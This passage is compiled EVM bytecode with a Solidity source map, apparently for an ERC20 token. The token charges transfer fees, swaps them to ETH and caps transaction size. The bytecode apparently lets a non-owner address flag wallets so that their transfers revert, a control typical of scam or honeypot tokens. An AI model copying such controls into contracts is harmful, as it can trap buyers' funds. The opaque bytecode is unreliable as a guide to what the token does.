52600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220822e5087d268a740c78460de8f396ea232949901f0bf8a9d7b9742952a3c007c64736f6c63430008070033
Deployed Bytecode Sourcemap
4304:15419:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14057:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8340:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9633:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4646:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6048:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8617:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14412:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11868:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4693:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13044:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12590:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8526:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12457:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9002:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5207:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12325:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5107:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4606:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5159:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6163:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5507:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13318:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10373:331;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5548:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11989:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8725:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16564:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10147:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5840:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5910:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5672:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5381:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5052:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3011:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10712:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8431:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9505:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5717:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9228:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12907:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5589:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14237:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11502:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5338:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12727:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5296:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6096:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5424:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4958:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5467:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6210:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5254:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8851:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5628:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12215:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4901:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3225:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6262:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4361:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14057:137;14132:8;:33;14154:10;14132:33;;;;;;;;;;;;;;;;;;;;;;;;;14126:66;;;14186:6;14166:8;:15;14175:5;14166:15;;;;;;;;;;;;;;;:26;;;;14126:66;14057:137;;:::o;8340:83::-;8377:13;8410:5;8403:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8340:83;:::o;9633:161::-;9708:4;9725:39;9734:12;:10;:12::i;:::-;9748:7;9757:6;9725:8;:39::i;:::-;9782:4;9775:11;;9633:161;;;;:::o;4646:40::-;;;;;;;;;;;;;:::o;6048:41::-;;;;;;;;;;;;;:::o;8617:100::-;8670:7;8697:12;;8690:19;;8617:100;:::o;14412:313::-;14510:4;14527:36;14537:6;14545:9;14556:6;14527:9;:36::i;:::-;;14574:121;14583:6;14591:12;:10;:12::i;:::-;14605:89;14643:6;14605:89;;;;;;;;;;;;;;;;;:11;:19;14617:6;14605:19;;;;;;;;;;;;;;;:33;14625:12;:10;:12::i;:::-;14605:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14574:8;:121::i;:::-;14713:4;14706:11;;14412:313;;;;;:::o;11868:113::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11965:8:::1;11946:16;;:27;;;;;;;;;;;;;;;;;;11868:113:::0;:::o;4693:81::-;;;:::o;13044:128::-;13097:7;13124:40;13141:22;13151:11;13141:9;:22::i;:::-;13124:12;;:16;;:40;;;;:::i;:::-;13117:47;;13044:128;:::o;12590:129::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12700:10:::1;12672:17;;:39;;;;;;;;;;;;;;;;;;12590:129:::0;:::o;8526:83::-;8567:5;8592:9;;;;;;;;;;;8585:16;;8526:83;:::o;12457:125::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12563:10:::1;12542;;:32;;;;;;;;;;;;;;;;;;12457:125:::0;:::o;9002:218::-;9090:4;9107:83;9116:12;:10;:12::i;:::-;9130:7;9139:50;9178:10;9139:11;:25;9151:12;:10;:12::i;:::-;9139:25;;;;;;;;;;;;;;;:34;9165:7;9139:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9107:8;:83::i;:::-;9208:4;9201:11;;9002:218;;;;:::o;5207:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;12325:124::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12433:8:::1;12407:23;:34;;;;12325:124:::0;:::o;5107:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4606:33::-;;;;;;;;;;;;;:::o;5159:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6163:40::-;;;;;;;;;;;;;:::o;5507:34::-;;;;:::o;13318:731::-;13398:22;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13435:35:::1;13492:16;13435:74;;13558:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13540:53;;;13602:4;13609:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13540:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13523:110;;13675:1;13649:28;;:14;:28;;;13646:200;;;13738:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13720:74;;;13803:4;13810:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13720:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13703:131;;13646:200;13872:14;13858:11;;:28;;;;;;;;;;;;;;;;;;13915:16;13897:15;;:34;;;;;;;;;;;;;;;;;;13989:4;13945:19;:41;13973:11;;;;;;;;;;;13945:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14037:4;14004:8;:30;14021:11;;;;;;;;;;;14004:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;13422:627;13318:731:::0;;;:::o;10373:331::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10513:15:::1;10494:16;:34;;;;10558:15;10539:16;:34;;;;10598:10;10584:11;:24;;;;10641:55;10684:11;;10641:38;10662:16;;10641;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10621:17;:75;;;;10373:331:::0;;;:::o;5548:34::-;;;;:::o;11989:218::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12095:9:::1;12091:109;12114:6;;:13;;12110:1;:17;12091:109;;;12182:6;12149:19;:30;12169:6;;12176:1;12169:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12149:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12129:3;;;;;:::i;:::-;;;;12091:109;;;;11989:218:::0;;;:::o;8725:118::-;8791:7;8818:8;:17;8827:7;8818:17;;;;;;;;;;;;;;;;8811:24;;8725:118;;;:::o;16564:242::-;16687:10;16635:62;;:10;;;;;;;;;;;:62;;;16631:168;;;16715:9;16711:77;16734:2;;:9;;16730:1;:13;16711:77;;;16780:6;16765:5;:12;16771:2;;16774:1;16771:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16765:12;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16745:3;;;;;:::i;:::-;;;;16711:77;;;;16631:168;16564:242;;;:::o;10147:218::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10251:9:::1;10247:111;10270:7;;:14;;10266:1;:18;10247:111;;;10338:8;10306:17;:29;10324:7;;10332:1;10324:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10306:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;10286:3;;;;;:::i;:::-;;;;10247:111;;;;10147:218:::0;;;:::o;5840:62::-;;;;:::o;5910:60::-;;;;:::o;5672:38::-;;;;:::o;5381:36::-;;;;:::o;5052:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;3011:79::-;3049:7;3076:6;;;;;;;;;;;3069:13;;3011:79;:::o;10712:338::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10853:15:::1;10833:17;:35;;;;10899:15;10879:17;:35;;;;10940:10;10925:12;:25;;;;10984:58;11029:12;;10984:40;11006:17;;10984;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;10963:18;:79;;;;10712:338:::0;;;:::o;8431:87::-;8470:13;8503:7;8496:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8431:87;:::o;9505:120::-;9567:7;9594:23;;9587:30;;9505:120;:::o;5717:44::-;;;;:::o;9228:269::-;9321:4;9338:129;9347:12;:10;:12::i;:::-;9361:7;9370:96;9409:15;9370:96;;;;;;;;;;;;;;;;;:11;:25;9382:12;:10;:12::i;:::-;9370:25;;;;;;;;;;;;;;;:34;9396:7;9370:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;9338:8